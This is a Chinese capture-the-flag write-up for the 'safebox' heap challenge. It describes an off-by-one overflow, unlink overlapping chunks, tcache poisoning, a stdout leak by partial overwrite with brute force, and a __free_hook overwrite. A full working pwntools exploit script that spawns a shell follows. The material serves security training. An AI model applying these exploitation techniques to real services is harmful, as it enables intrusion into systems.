[蓝帽杯] PWN - safebox经典heap:无回显利用off_by_one爆破2字节
safebox
题目文件
分析
这个题感觉挺经典的,分配堆时存在一字节溢出。且只能在分配时写入,不能修改,不能打印堆块内容。
整理一下大致的思路,因为需要写malloc_hook
或者free_hook
,可以尝试先利用_IO_FILE_stdout
泄露地址。既然需要泄露地址那就需要构造unsortedbin
和伪造tcache
(这里是难点)。主要构造方式参考了sad师傅的思路:利用unlink
的方式将四个堆块构造成overlapping
,合并成一个大的unsortedbin
,同时保留中间两个堆块的指针以便在后续步骤中释放被覆盖的堆块,使其进入tcache
,这样堆块上如果有stdout
的地址就可以通过两次malloc
进行修改_IO_FILE_stdout
。还有一个问题就是如何进行部分写构造出stdout
的地址?其实很简单,只要从构造出的大unsortedbin
中切割一部分,让剩下的部分对齐之前保留的指针,然后再次申请malloc(1)
就可以写unsorted_arena
低二字节,进行爆破。
整理如下:
- 构造4个块的
overlapping
(unlink); - 释放被覆盖堆块、切割
unsortedbin
、部分写伪造tcache
; - 写
stdout
泄露libc; - 同第二步类似写freehook为system函数地址;
- 最后,向一个堆块写入
/bin/sh
并将其释放即可.
注意本题one_gadget
的各种利用方式都失效了,更改为用free_hook
的方式
爆破脚本
环境:ubuntu18.04 libc2.27 python3
适合本地复现用,原题线上环境拿shell后需要输入token,有些区别
from pwn import *
import sys
context.log_level = "debug"
def add(idx:int, length:int, content):
p.recvuntil(b">>>")
p.sendline(b"1")
p.recvuntil(b"idx:")
p.sendline(str(idx).encode())
p.recvuntil(b"len:")
p.sendline(str(length).encode())
p.recvuntil(b"content:")
p.send(content)
def delete(idx:int):
p.recvuntil(b">>>")
p.sendline(b"2")
p.recvuntil(b"idx:")
p.sendline(str(idx).encode())
def exit():
p.recvuntil(b">>>")
p.sendline(b"3")
def exp():
global p
p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
# make unsortedbin for unlink
for i in range(7):
add(i, 0xf8, b"aaaa") #idx:0-6
## unlink header
add(7, 0xf8, b"idx7") #idx7
## keep ptr
add(8, 0x88, b"idx8") #idx8
add(9, 0x98, b"idx9") #idx9
add(10, 0xf8, b"idx10") #idx10
add(11, 0x10, b"pppp");
for i in range(7):
delete(i) # del idx:1-6
delete(7)
delete(9)
payload1 = b"a"*0x90 + p64(0x90+0xa0+0x100) + b"\x00"
add(9, 0x98, payload1) #idx9
delete(10)
#gdb.attach(p)
# remalloc, UAF, fake tcache
## remalloc for UAF
## we have kept ptr: idx8, idx9 , and so we can make 2 fake tcaches
for i in range(7):
add(i, 0xf8, b"aaaa") #idx:0-6
### partial free
delete(8)
add(7, 0xf8, b"idx7") #idx7
add(8, 0x1, b"\x60\xc7") #idx8
### attack _IO_FILE_stdout
add(12, 0x88, b"idx12") #idx12
#gdb.attach(p)
payload2 = p64(0xfbad1800) + p64(0)*3 + b"\n"
add(12, 0x88, payload2)
### leak libc_base
p.recvn(23, timeout=1)
leak = u64(p.recvn(8, timeout=1))
libc_base = leak - 0x3eb780
malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
free_hook = libc_base + libc.symbols[b"__free_hook"]
#one = libc_base + 0x10a38c
one = libc_base + libc.symbols[b"system"]
print("leak:",hex(leak))
print("libc_base:",hex(libc_base))
print("malloc_hook:",hex(malloc_hook))
print("free_hook:",hex(free_hook))
print("one:",hex(one))
# write malloc_hook
delete(9)
add(13, 0x68, b"idx13") #idx13
payload3 = p64(free_hook)
add(13, 0x8, payload3) #idx13
add(13, 0x98, b"idx13") #idx13
add(13, 0x98, p64(one)) #idx13
#gdb.attach(p)
## go one_gadget
add(15, 0x30, b"/bin/sh\x00")
delete(15)
p.sendline("ls")
ret = p.recv()
if b"flag" in ret:
p.sendline("cat flag")
print(p.recv())
print("SUCCESS")
sys.exit(0)
else:
print("NOT SUCCESS")
p.close()
if __name__ == "__main__":
while True:
try:
exp()
except Exception as e:
print("ERROR:",str(e))
p.close()